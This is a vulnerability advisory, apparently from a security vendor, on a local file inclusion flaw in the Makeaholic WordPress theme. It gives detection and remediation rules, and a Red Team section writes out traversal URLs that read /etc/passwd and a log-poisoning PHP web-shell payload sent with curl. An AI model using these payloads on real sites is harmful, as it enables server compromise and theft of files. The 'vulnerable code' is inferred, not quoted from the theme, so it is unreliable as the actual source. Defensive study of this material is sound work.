CVE-2025-54700

Executive Summary

CVE-2025-54700 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the ThemeMove Makeaholic WordPress theme, versions up to and including 1.8.4. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php), remote code execution via log poisoning, or full server compromise. The CVSS score of 8.1 reflects the high impact and low complexity of exploitation. No patch is currently available, and no public exploit code has been released.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via ThemeForest and other marketplaces. As a WordPress ecosystem component, it is not managed through standard package managers like NPM or PyPI. However, the risk is amplified by the lack of a vendor patch, meaning all sites using Makeaholic <= 1.8.4 are exposed. Users must manually monitor for updates or consider removing the theme.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): High (H) – Potential for code execution.
• Availability (A): High (H) – Could lead to denial of service.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top priority for remediation.

Deep Dive & Mechanics

The vulnerability is a PHP Local File Inclusion (LFI) (CWE-98) in the makeaholic theme. The theme likely uses a dynamic include statement such as:

include($_GET['page'] . '.php');

An attacker can manipulate the page parameter to traverse directories and include arbitrary files. For example:

http://target.com/wp-content/themes/makeaholic/index.php?page=../../../../etc/passwd%00

The null byte (%00) may be used to terminate the string, bypassing the .php extension. In modern PHP versions, null byte injection is mitigated, but path traversal remains effective. The attacker can include log files (e.g., Apache access logs) to inject PHP code and achieve remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.8.4):

<?php
$page = $_GET['page'];
include($page . '.php');
?>

Patched Code (Hypothetical):

<?php
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Handle error
}
?>

The patched version uses a whitelist to restrict included files, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with the Makeaholic theme (version 1.8.4) on a local server (e.g., XAMPP, Docker).
2. Ensure the server has Apache with mod_php and logging enabled.

Exploitation Steps:

1. Basic LFI to read /etc/passwd:

   http://localhost/wp-content/themes/makeaholic/index.php?page=../../../../etc/passwd%00
   

2. Log Poisoning for RCE:
   • Inject PHP code into Apache access log by sending a malicious User-Agent:

     curl -A "<?php system($_GET['cmd']); ?>" http://localhost/
     

   • Include the log file:

     http://localhost/wp-content/themes/makeaholic/index.php?page=../../../../var/log/apache2/access.log&cmd=id
     

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %00).
• Alert on attempts to include sensitive files like /etc/passwd, wp-config.php.
• Use WAF rules to block page parameters containing ../ or null bytes.

Hunting:

• Search web server logs for requests to makeaholic/index.php with suspicious page parameters.
• Look for User-Agent strings containing PHP code (log poisoning indicator).

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, wp-config.php, /var/log/apache2/access.log
• URL Patterns: ?page=../../../../etc/passwd%00, ?page=../../../../var/log/apache2/access.log
• Log Entries: User-Agent strings containing <?php, system(, exec(
• Network: Outbound connections from the web server to attacker-controlled hosts (post-exploitation)

Detection Engineering

YARA Rule

rule CVE_2025_54700_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting Makeaholic theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54700"
    strings:
        $path_traversal = /\.\.\/\.\.\/\.\.\//
        $null_byte = /\x00/
        $sensitive_file = /(etc\/passwd|wp-config\.php|etc\/shadow)/
    condition:
        $path_traversal or ($null_byte and $sensitive_file)
}

Sigma Rule

title: CVE-2025-54700 Makeaholic LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Makeaholic theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'page=..'
            - '%00'
            - '/etc/passwd'
            - 'wp-config.php'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54700 Makeaholic LFI Attempt"; flow:to_server; content:"page="; nocase; content:"../"; distance:0; within:100; content:"/etc/passwd"; distance:0; within:50; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the Makeaholic theme from all WordPress installations until a patch is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block page parameters containing ../ or null bytes.
3. Long-term: Monitor the ThemeMove vendor for an official patch. If none is provided, consider migrating to an alternative theme.
4. Hardening: Ensure PHP allow_url_include is disabled, and open_basedir is configured to restrict file access.

Valters IT – Securing digital frontiers, one CVE at a time.